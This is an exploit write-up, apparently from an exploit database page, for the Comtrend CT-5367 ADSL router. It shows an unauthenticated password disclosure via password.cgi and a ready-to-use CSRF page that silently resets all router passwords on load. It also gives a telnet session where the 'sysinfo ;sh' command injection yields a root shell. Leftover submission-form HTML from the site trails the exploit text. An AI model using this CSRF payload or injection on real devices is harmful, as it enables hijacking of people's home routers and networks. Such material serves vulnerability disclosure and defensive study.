COMTREND ADSL Router CT-5367 C01_R12 – Remote Code Execution
/*COMTREND ADSL Router BTC(VivaCom) CT-5367 C01_R12 Remote Root ============================================================================= Board ID : 96338A-122 Software : A111-312BTC-C01_R12 Bootloader : 1.0.37-12.1-1 Wireless Driver : 4.170.16.0.cpe2.1sd ADSL : A2pB023k.d20k_rc2 ============================================================================= Type : HardWare Risk of use : High Type to use : Remote Discovered by : Todor Donev Author Email : todor.donev@gmail.com ============================================================================= Special greetz to my sweetheart friend and my lil' secret Tsvetelina Emirska, and all my other friends that support me a lot of times for everything !! */ root@linux:~# get.pl http://192.168.1.1/ /*HTTP/1.1 401 Unauthorized Cache-Control: no-cache Connection: close Date: Sat, 01 Jan 2000 00:04:31 GMT Server: micro_httpd ## Yeah !! Bite me :( WWW-Authenticate: Basic realm="DSL Router" Content-Type: text/html <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD> <BODY BGCOLOR="#cc9999"><H4>401 Unauthorized</H4> Authorization required. <HR> <ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS> </BODY></HTML> */ root@linux:~# get.pl http://192.168.1.1/password.cgi ## Information Disclosure /*HTTP/1.1 200 Ok Cache-Control: no-cache Connection: close Date: Mon, 03 Jan 2000 23:01:25 GMT Server: micro_httpd Content-Type: text/html <html> <head> <meta HTTP-EQUIV='Pragma' CONTENT='no-cache'> <link rel="stylesheet" href='https://www.exploit-db.com/exploits/16275/stylemain.css' type='text/css'> <link rel="stylesheet" href='https://www.exploit-db.com/exploits/16275/colors.css' type='text/css'> <script language="javascript" src="https://www.exploit-db.com/exploits/16275/util.js"></script> <script language="javascript"> <!-- hide\n ## Dammit! =)) pwdAdmin = '<CENSORED>'; ## Censored Password pwdSupport = '<CENSORED>'; ## Censored Password pwdUser = '<CENSORED>';\n ## Censored Password */ [CUT EXPLOIT HERE] ## CSRF For Change All passwords <html> <head></head> <title>COMTREND ADSL Router BTC(VivaCom) CT-5367 C01_R12 Change All passwords</title> <body onLoad=javascript:document.form.submit()> <form action="http://192.168.1.1/password.cgi"; method="POST" name="form"> <!-- Change default system Passwords to "shpek" without authentication and verification --> <input type="hidden" name="sptPassword" value="shpek"> <input type="hidden" name="usrPassword" value="shpek"> <input type="hidden" name="sysPassword" value="shpek"> </form> </body> </html> [CUT EXPLOIT HERE] root@linux:~# telnet 192.168.1.1 ADSL Router Model CT-5367 Sw.Ver. C01_R12 Login: root Password: ## BINGOO !! Godlike =)) > ? ? help logout reboot adsl atm ddns dumpcfg ping siproxd sntp sysinfo tftp wlan version build ipfilter > sysinfo Number of processes: 30 11:46pm up 2 days, 23:46, load average: 1 min:0.12, 5 min:0.05, 15 min:0.09 total used free shared buffers Mem: 14012 13028 984 0 588 Swap: 0 0 0 Total: 14012 13028 984 > sysinfo ;sh ## JAILBREAK !! FirmWare sucks :) Number of processes: 30 11:47pm up 2 days, 23:47, load average: 1 min:0.07, 5 min:0.05, 15 min:0.08 total used free shared buffers Mem: 14012 13024 988 0 588 Swap: 0 0 0 Total: 14012 13024 988 BusyBox v1.00 (2009.12.08-09:42+0000) Built-in shell (msh) Enter 'help' for a list of built-in commands. # cat /proc/version Linux version 2.6.8.1 (wander@localhost.localdomain) (gcc version 3.4.2) #1 Tue Dec 8 17:40:39 CST 2009 # ps PID Uid VmSize Stat Command 1 root 280 S init 2 root SWN [ksoftirqd/0] 3 root SW< [events/0] 4 root SW< [khelper] 5 root SW< [kblockd/0] 15 root SW [pdflush] 16 root SW [pdflush] 17 root SW [kswapd0] 18 root SW< [aio/0] 23 root SW [mtdblockd] 32 root 328 S -sh 65 root 1384 S cfm 72 root SW [bcmsw] 192 root 216 S pvc2684d 275 root 496 S nas -P /var/wl0nas.lan0.pid -H 34954 -l br0 -i wl0 -A 342 root 304 S dhcpd 596 root 1384 S CT_Polling 600 root 432 S pppd -c 0.0.35.1 -i nas_0_0_35 -u <CENSORED> -p 931 root 248 S dhcpc -i nas_0_0_40 993 root 316 S dproxy -D btc-adsl 997 root 352 S upnp -L br0 -W ppp_0_0_35_1 -D 1013 root 512 S siproxd --config /var/siproxd/siproxd.conf 1014 root 512 S siproxd --config /var/siproxd/siproxd.conf 1015 root 512 S siproxd --config /var/siproxd/siproxd.conf 10745 root 292 S syslogd -C -l 7 10747 root 256 S klogd 6616 root 1396 S telnetd 6618 root 1428 S telnetd 6673 root 284 S sh -c sysinfo ;sh 6724 root 284 R ps # top Mem: 13164K used, 848K free, 0K shrd, 588K buff, 5920K cached Load average: 0.00, 0.02, 0.07 (State: S=sleeping R=running, W=waiting) PID USER STATUS RSS PPID %CPU %MEM COMMAND 6751 root R 288 6675 0.7 2.0 exe 2 root SWN 0 1 0.3 0.0 ksoftirqd/0 6616 root S 1396 65 0.1 9.9 telnetd 931 root S 248 1 0.1 1.7 dhcpc 6618 root S 1428 6616 0.0 10.1 telnetd 65 root S 1384 32 0.0 9.8 cfm 596 root S 1384 65 0.0 9.8 CT_Polling 1013 root S 512 1 0.0 3.6 siproxd 1014 root S 512 1013 0.0 3.6 siproxd 1015 root S 512 1014 0.0 3.6 siproxd 275 root S 496 1 0.0 3.5 nas 600 root S 432 1 0.0 3.0 pppd 997 root S 352 1 0.0 2.5 upnp 32 root S 328 1 0.0 2.3 sh 993 root S 316 1 0.0 2.2 dproxy 6675 root S 316 6673 0.0 2.2 exe 342 root S 304 1 0.0 2.1 dhcpd 10745 root S 292 1 0.0 2.0 exe 6673 root S 284 6618 0.0 2.0 sh 1 root S 280 0 0.0 1.9 init # echo * ## ls o.O?!? bin dev etc lib linuxrc mnt proc sbin usr var webs # </textarea> </li> <li id="text-cont_2"> <label for="extension">Text file extension:</label> <input type="text" name="extension" id="extension" value="txt" class="small" /> </li> <li id="attch_cont" style="display:none;"> <label for="attached_file">Attached file name:</label> <input type="text" name="file_path" id="attached_file" value="" class="large" /> </li> <li> <label for="application_link">Application link:</label> <input type="text" name="application_link" id="application_link" value="" class="large" /> </li> <li> <label for="application_version">Application version:</label> <input type="text" name="application_version" id="application_version" value="" class="large" /> </li> <li> <label for="application_file_name">Application file name:</label> <input type="text" name="application_path" id="application_file_name" value="" class="large" /> </li> <li> <label for="application_md5">Application file md5:</label> <input type="text" name="application_md5" id="application_md5" value="" class="large" /> </li> <li> <label for="cve">CVE code:</label> <input type="text" name="cve" id="cve" value="" class="small" /> </li> <li> <label for="osvdb">OSVDB code:</label> <input type="text" name="osvdb" id="osvdb" value="" class="small" /> </li> <li> <label for="import_as_gd">Add as google dork:</label> <input type="checkbox" name="import_as_gd" id="import_as_gd" value="1" onclick="toggleImportGDform();"/> <ul class="google-dork-import-form" style="display:none;"> <li> <label for="ghdb_status">Status:</label> <select name="ghdb_status" id="ghdb_status"> <option value="1" selected="selected">Active</option> <option value="0">Pending</option> </select> </li> <li> <label for="ghdb_cat_id">Category:</label> <select name="ghdb_cat_id" id="ghdb_cat_id"> <option value="0" selected="selected";>Select category</option> <option value="1">Footholds</option> <option value="2">Files containing usernames</option> <option value="3">Sensitive Directories</option> <option value="4">Web Server Detection</option> <option value="5">Vulnerable Files</option> <option value="6">Vulnerable Servers</option> <option value="7">Error Messages</option> <option value="8">Files containing juicy info</option> <option value="9">Files containing passwords</option> <option value="10">Sensitive Online Shopping Info</option> <option value="11">Network or vulnerability data</option> <option value="12">Pages containing login portals</option> <option value="13">Various Online Devices</option> <option value="14">Advisories and Vulnerabilities</option> </select> </li> <li> <label for="ghdb_title">Title:</label> <input type="text" name="ghdb_title" id="ghdb_title" value="" class="text" /> </li> <li> <label for="ghdb_text">Text:</label> <textarea name="ghdb_text" value="ghdb_text"> |